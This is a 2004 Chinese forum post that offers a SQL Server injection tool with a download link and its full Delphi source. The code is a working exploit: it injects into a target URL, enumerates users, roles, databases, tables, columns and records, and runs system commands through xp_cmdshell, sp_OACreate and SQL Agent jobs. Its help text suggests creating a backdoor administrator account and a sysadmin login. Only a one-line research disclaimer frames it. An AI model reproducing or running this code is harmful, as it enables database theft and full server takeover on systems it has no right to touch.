SQL Server注入工具 1.0
利用SQL Server的注入漏洞实现猜解数据库名，表名，字段名及记录的信息，由于网速的原因，目前限制了只能同时猜解前5个字段值的记录信息。另外实现了三种方式执行系统命令，同时可回显显示。
本程序只供测试研究使用，由此软件造成的后果一概不负责任，由于编写比较仓促，代码难免有纰漏之处，欢迎大家批评指正。
下载地址：http://free.efile.com.cn/hnxyy/NBSI.exe
作者:Hnxyy QQ:19026695
2004.12.16 北京
FireFox技术交流论坛
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http://firefoxer.nease.net
It is all beginnings free
It is all ruin to be privately owned
D7原代码：
unit untmain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, idHttp, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, OleCtrls, SHDocVw,mshtml;
type
TForm1 = class(TForm)
Label1: TLabel;
EdtUrl: TEdit;
BtnCheck: TButton;
Label2: TLabel;
GroupBox1: TGroupBox;
Label7: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
EdtMuliCase: TEdit;
EdtQuery: TEdit;
EdtUser: TEdit;
EdtPower: TEdit;
EdtDbName: TEdit;
Memo1: TMemo;
GroupBox2: TGroupBox;
cbDisp: TCheckBox;
EdtCommand: TEdit;
rbCmd: TRadioButton;
rbOA: TRadioButton;
BtnExecute: TButton;
GroupBox3: TGroupBox;
Memo2: TMemo;
wb: TWebBrowser;
BtnStop: TButton;
rbJob: TRadioButton;
BtnCancel: TButton;
procedure BtnCheckClick(Sender: TObject);
procedure BtnExecuteClick(Sender: TObject);
procedure wbDocumentComplete(Sender: TObject; const pDisp: IDispatch;
var URL: OleVariant);
procedure BtnStopClick(Sender: TObject);
procedure rbCmdClick(Sender: TObject);
procedure rbOAClick(Sender: TObject);
procedure rbJobClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure BtnCancelClick(Sender: TObject);
private
{ Private declarations }
tag:integer;
isFinish,isCancel:boolean;
function Get(URL: string): boolean;
function GetWBMsg(URL: string): string;
Function StrToNChar(DbName,TName:string): string;
procedure SetRdbCheck(rd:TRadioButton);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.BtnCheckClick(Sender: TObject);
const
vFieldCount=5;
PowerStr :array[0..6] of string=(
'sysadmin','dbcreator','diskadmin',
'processadmin','serveradmin',
'setupadmin','securityadmin');
var
Url,DbName,TName,TName0,ColName,ColName0,NCharStr:string;
i,j,k,iCount:integer;
VerStr,ValueStr,CountStr,Powers:string;
FieldStr,FieldOrdStr,CFieldStr:string;
vfield:OleVariant;
begin
try
EdtMuliCase.Text :='';
EdtQuery.Text :='';
EdtUser.Text :='';
EdtPower.Text :='';
EdtDbName.Text :='';
Url:=trim(EdtUrl.Text);
isFinish :=False;
vfield :=VarArrayCreate([0,vFieldCount-1],varVariant);
Memo1.Clear;
Screen.Cursor :=crHourGlass;
//判断是否支持多句查询
if Get(Url+';declare%20@a%20int--') then
begin
EdtMuliCase.Text :='支持';
end else
begin
EdtMuliCase.Text :='不支持';
end;
//判断是否支持子查询
if get(Url+'%20and%20(Select%20count(1)%20from%20[sysobjects])>=0') then
begin
EdtQuery.Text :='支持';
end else
begin
EdtQuery.Text :='不支持';
end;
//取得当前用户
EdtUser.Text :=GetWBMsg(Url+'%20and%20char(124)%2Buser%2Bchar(124)=0');
//取得当前用户登录的服务器角色成员
for i:=0 to High(PowerStr) do
begin
if get(Url+'%20And%20Cast(IS_SRVROLEMEMBER('''+PowerStr[i]+''')%20as%20varchar(1))=1') then
begin
Powers :=Powers+PowerStr[i]+'|';
end;
end;
if Powers='' then
EdtPower.Text :='未知'
else EdtPower.Text :=Powers;
//指明当前用户是否为 db_owner 固定数据库角色的成员
{ if get(Url+'%20And%20Cast(IS_MEMBER(''db_owner'')%20as%20varchar(1))=1') then
begin
EdtPower.Text :='db_owner';
end else
begin
EdtPower.Text :='未知';
end; }
//得到当前SQL Server的版本号
VerStr :=GetWBMsg(Url+'%20and%20char(124)%2B@@version%2Bchar(124)>0');
Memo1.Lines.Add('当前版本号：'+VerStr);
Memo1.Lines.Add('');
//取得数据库名
DbName :=GetWBMsg(Url+'%20And%20char(124)%2Bdb_name()%2Bchar(124)=0');
EdtDbName.Text :=DbName;
if (DbName='') or (DbName='未知') then
begin
Memo1.Lines.Add('未知的数据库，操作终止！');
exit;
end;
Memo1.Lines.Add('当前数据库：'+DbName);
BtnStop.Visible :=true;
BtnCheck.Visible :=False;
//猜解表名
Memo1.Lines.Add('');
Memo1.Lines.Add('开始猜解表名.....');
Memo1.Lines.Add('#######################');
for i:=1 to 1000 do
begin
TName :='';
TName :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)%20as%20varchar(8000))'+
'%20from(Select%20Top%20'+inttostr(i)+'%20id,name%20from%20['+DbName+']..[sysobjects]'+
'%20Where%20xtype=char(85)%20order%20by%20id)%20T%20order%20by%20id%20desc)>0;--');
if (TName0=TName) or (isFinish) then
Break;
Memo1.Lines.Add('表名 :'+TName);
//猜解列名
Memo1.Lines.Add('');
Memo1.Lines.Add('开始猜解列名.....');
Memo1.Lines.Add('#######################');
NCharStr :='';
NCharStr :=StrToNChar(DbName,TName);
j:=1;
while j<1000 do
begin
ColName :='';
ColName :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20cast(char(124)%2Bname%2Bchar(124)'+
'%20as%20varchar(8000))%20from%20(Select%20Top%20'+inttostr(j)+'%20colid,name'+
'%20From%20['+DbName+']..[syscolumns]%20Where%20id%20=%20'+NCharStr+
'%20Order%20by%20colid)%20T%20Order%20by%20colid%20desc)>0;--');
if (ColName0=ColName) or (isFinish) then
j:=1000
else begin
Memo1.Lines.Add('列名 '+inttostr(j)+' :'+ColName);
if j<vFieldCount+1 then
begin
vfield[j-1] :=ColName;
end;
ColName0 :=ColName;
inc(j);
end;
end;
Memo1.Lines.Add('#######################');
Memo1.Lines.Add('列名猜解结束.....');
Memo1.Lines.Add('');
//猜解数据
Memo1.Lines.Add('开始猜解数据.....');
Memo1.Lines.Add('#######################');
CountStr :=GetWBMsg(Url+'%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))'+
'%2Bchar(124)%20From%20['+TName+']%20Where%201=1)>0;--');
try
iCount :=strtoint(CountStr);
except
Memo1.Lines.add('出现意外数据，操作终止！');
exit;
end;
Memo1.Lines.Add('表 '+TName+' ：共有 '+CountStr+' 条数据。');
CFieldStr :='';
FieldStr :='';
FieldOrdStr :='';
for k:=0 to vFieldCount-1 do
begin
if k=0 then
begin
CFieldStr :='isNull(cast(['+vfield[0]+']%20as%20varchar(8000)),char(32))';
FieldStr :='['+vfield[0]+']';
FieldOrdStr :='['+vfield[0]+']%20desc';
end else
begin
CFieldStr :=CFieldStr+'%2B%20%2BisNull(cast(['+vfield[k]+']%20as%20varchar(8000)),char(32))';
FieldStr :=FieldStr+',['+vfield[k]+']';
FieldOrdStr :=FieldOrdStr+',['+vfield[k]+']%20desc';
end;
end;
k:=1;
while k<iCount+1 do
begin
ValueStr :='';
ValueStr :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20char(124)%2B'+CFieldStr+'%2Bchar(124)%20From%20(Select'+
'%20Top%20'+inttostr(k)+'%20'+FieldStr+'%20From%20['+DbName+']..['+TName+']%20Where%201=1'+
'%20Order%20by%20'+FieldStr+')%20T%20Order%20by%20'+FieldOrdStr+')>0;--');
if isFinish then
k:=iCount+1;
Memo1.Lines.Add('数据 '+inttostr(k)+' :'+ValueStr);
inc(k);
end;
Memo1.Lines.Add('#######################');
Memo1.Lines.Add('数据猜解结束.....');
Memo1.Lines.Add('');
TName0 :=TName;
end;
Memo1.Lines.Add('#######################');
Memo1.Lines.Add('表名猜解结束.....');
finally
Screen.Cursor :=crDefault;
BtnStop.Visible :=False;
BtnCheck.Visible :=True;
end;
end;
procedure TForm1.BtnExecuteClick(Sender: TObject);
var
Url,DbName,CommandStr:string;
ResultStr,CountStr:string;
iCount,i:integer;
begin
try
Url:=trim(EdtUrl.Text);
ResultStr :='';
CommandStr :='';
isCancel :=False;
CommandStr:=trim(EdtCommand.Text);
CommandStr:=StringReplace(CommandStr,'%','%25',[rfReplaceAll]);
CommandStr:=StringReplace(CommandStr,' ','%20',[rfReplaceAll]);
Memo2.Clear;
Screen.Cursor :=crHourGlass;
//取得数据库名
DbName :=GetWBMsg(Url+'%20And%20char(124)%2Bdb_name()%2Bchar(124)=0');
if (DbName='') or (DbName='未知') then
begin
Memo2.Lines.Add('未知的数据库，操作终止！');
exit;
end;
//Cmd_shell
//使用xp_cmdshell来运行系统命令
if rbCmd.Checked then
begin
//回显
if cbDisp.Checked then
begin
BtnCancel.Visible :=true;
BtnExecute.Visible :=False;
//第一种办法
//把命令执行的结果保存到一个本地文件中，然后将此文件的内容写入到新建的临时表进行输出
{CommandStr:=Url+';EXEC%20MASTER..XP_CMDSHELL%20'''+CommandStr+'>C:\Command_Tmp.log'''+
';DROP%20TABLE%20[Command_Tmp]'+
';CREATE%20TABLE%20[Command_Tmp]([ResultTxt]%20varchar(7996)%20NULL)'+
';BULK%20INSERT%20['+DbName+']..[Command_Tmp]%20FROM%20''C:\Command_Tmp.log''%20WITH%20(KEEPNULLS)'+
';Alter%20Table%20[Command_Tmp]%20add%20[ID]%20int%20NOT%20NULL%20IDENTITY%20(1,1)--'; }
//第二种办法，直接把命令执行的结果写入数据库中输出，效率较高
CommandStr :=Url+';DROP%20TABLE%20[Command_Tmp];'+
'CREATE%20TABLE%20[Command_Tmp]([id]%20int%20NOT%20NULL%20IDENTITY%20(1,1),'+
'%20[ResultTxt]%20varchar(1024)%20NULL);'+
'insert%20into%20[Command_Tmp](ResultTxt)%20EXEC%20MASTER..XP_CMDSHELL%20'''+
CommandStr+''';insert%20into%20[Command_Tmp]%20values%20(''g_over'')--';
if Get(CommandStr) then
begin
CountStr :=GetWBMsg(Url+'%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))'+
'%2Bchar(124)%20From%20[Command_Tmp]%20Where%201=1)>0;--');
try
iCount :=strtoint(CountStr);
except
Memo2.Lines.add('出现意外数据，操作终止！');
exit;
end;
for i:=1 to iCount do
begin
ResultStr :='';
ResultStr :=GetWBMsg(Url+'%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null'+
'%20then%20char(32)%20else%20char(124)%2BResultTxt%2Bchar(124)'+
'%20End%20From%20[Command_Tmp]%20Where%20ID='+IntToStr(i)+')=0;--');
if isCancel then
Break;
if (ResultStr<>'') and (ResultStr<>'未知') then
Memo2.Lines.Add(ResultStr);
end;
end;
if Get(Url+';DROP%20TABLE%20[Command_Tmp]--') then
begin
Memo2.Lines.Add('命令执行完成');
end;
end else
begin
CommandStr:=Url+';EXEC%20MASTER..XP_CMDSHELL%20'''+CommandStr+'''--';
if get(CommandStr) then
Memo2.Lines.Add('命令执行完成。');
end;
end;
//OAcreate
//使用sp_OACreate来运行系统命令
if rbOA.Checked then
begin
//指明当前用户是否为 sysadmin 固定服务器角色的成员
if get(Url+'%20And%20Cast(IS_SRVROLEMEMBER(''sysadmin'')%20as%20varchar(1))=1') then
begin
CommandStr :=Url+';use%20'+DbName+';declare%20@o%20int;exec%20'+
'sp_oacreate%20''wscript.shell'',@o%20out;exec%20'+
'sp_oamethod%20@o,''run'',NULL,''cmd%20/c%20'+
CommandStr+'''--';
if Get(CommandStr) then
Memo2.Lines.Add('命令执行完成。');
end else
begin
Memo2.Lines.Add('只有 sysadmin 固定服务器角色的成员才能执行 sp_OACreate。');
exit;
end;
end;
//Job
//使用SQLSERVERAGENT的JOB来运行系统命令
if rbJob.Checked then
begin
//启动SQLSERVERAGENT
if Get(Url+';exec%20master..xp_servicecontrol%20''start'',''SQLSERVERAGENT'';--') then
begin
Memo2.Lines.Add('SQLSERVERAGENT 启动成功！');
CommandStr :=Url+';use%20'+DbName+';exec%20sp_delete_job%20null,''x'''+
';exec%20sp_add_job%20''x'''+
';exec%20sp_add_jobstep%20Null,''x'',Null,''1'',''CMDEXEC'',''cmd%20/c%20'+
CommandStr+''';exec%20sp_add_jobserver%20Null,''x'',@@servername'+
';exec%20sp_start_job%20''x''--';
if get(CommandStr) then
Memo2.Lines.Add('命令执行完成。');
end else
begin
Memo2.Lines.Add('SQLSERVERAGENT 启动失败，操作终止！');
exit;
end;
end;
finally
Screen.Cursor :=crDefault;
BtnExecute.Visible :=true;
BtnCancel.Visible :=false;
end;
end;
function TForm1.Get(URL: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
try
idhttp.HandleRedirects:= true; //必须支持重定向否则可能出错
idhttp.ReadTimeout:= 30000; //超过这个时间则不再访问
ss:= IDHTTP.Get(URL);
if IDHTTP.ResponseCode=200 then
Result :=true;
except
//on E: Exception do
// Application.MessageBox(pchar('出现异常，操作终止！'+#10#13+E.Message),'提示',mb_ok+mb_iconinformation);
end;
finally
IDHTTP.Free;
end;
end;
function TForm1.GetWBMsg(URL: string): string;
function GetResultStr(str:string):string;
var
istart,iend:integer;
ss:string;
begin
istart:=pos('|',str);
if istart>0 then
begin
ss:=copy(str,istart+1,length(str)-istart);
iend :=pos('|',ss);
if iend>0 then
begin
ss:=copy(ss,1,iend-1);
end;
end;
if ss='' then
Result :='未知'
else Result :=ss;
end;
var
ss:string;
begin
tag:=0;
wb.Navigate(URL);
while (tag=0) do
Application.ProcessMessages;
ss :=(wb.Document as IHTMLDocument2).Body.innerText;
Result :=GetResultStr(ss);
end;
function TForm1.StrToNChar(DbName, TName: string): string;
var
i:integer;
ss,str:string;
begin
ss:=DbName+'..'+TName;
for i:=1 to length(ss) do
begin
if i=1 then
str :='NCHAR('+inttostr(ord(ss[i]))+')'
else
str :=str+'%2BNCHAR('+inttostr(ord(ss[i]))+')';
end;
Result :='OBJECT_ID('+str+')';
end;
procedure TForm1.wbDocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
begin
//Memo2.Text :=(wb.Document as IHTMLDocument2).Body.innerText;
tag:=1;
end;
procedure TForm1.BtnStopClick(Sender: TObject);
begin
isFinish :=True;
BtnCheck.Visible :=true;
BtnStop.Visible :=False;
end;
procedure TForm1.SetRdbCheck(rd: TRadioButton);
begin
Memo2.Clear;
if rd=rbCmd then
begin
cbDisp.Enabled :=True;
Memo2.Lines.Add('使用xp_cmdshell来运行系统命令');
Memo2.Lines.Add('');
Memo2.Lines.Add('net user test test /add');
Memo2.Lines.Add('net localgroup administrators test /add');
Memo2.Lines.Add('exec master..sp_addlogin test,test');
Memo2.Lines.Add('exec master..sp_addsrvrolemember test,sysadmin');
end;
if rd=rbOA then
begin
cbDisp.Enabled :=False;
Memo2.Lines.Add('使用sp_OACreate来运行系统命令');
end;
if rd=rbJob then
begin
cbDisp.Enabled :=False;
Memo2.Lines.Add('使用SQLSERVERAGENT的JOB来运行系统命令');
Memo2.Lines.Add('请先使用下列语句启动SQLSERVERAGENT:');
Memo2.Lines.Add('');
Memo2.Lines.Add('http://x.com/x.asp?a=1;exec master..xp_servicecontrol ''start'',''SQLSERVERAGENT'';--');
end;
end;
procedure TForm1.rbCmdClick(Sender: TObject);
begin
SetRdbCheck(rbcmd);
end;
procedure TForm1.rbOAClick(Sender: TObject);
begin
SetRdbCheck(rbOA);
end;
procedure TForm1.rbJobClick(Sender: TObject);
begin
SetRdbCheck(rbJob);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
SetRdbCheck(rbcmd);
end;
procedure TForm1.BtnCancelClick(Sender: TObject);
begin
isCancel :=True;
BtnExecute.Visible :=true;
BtnCancel.Visible :=false;
end;
end.
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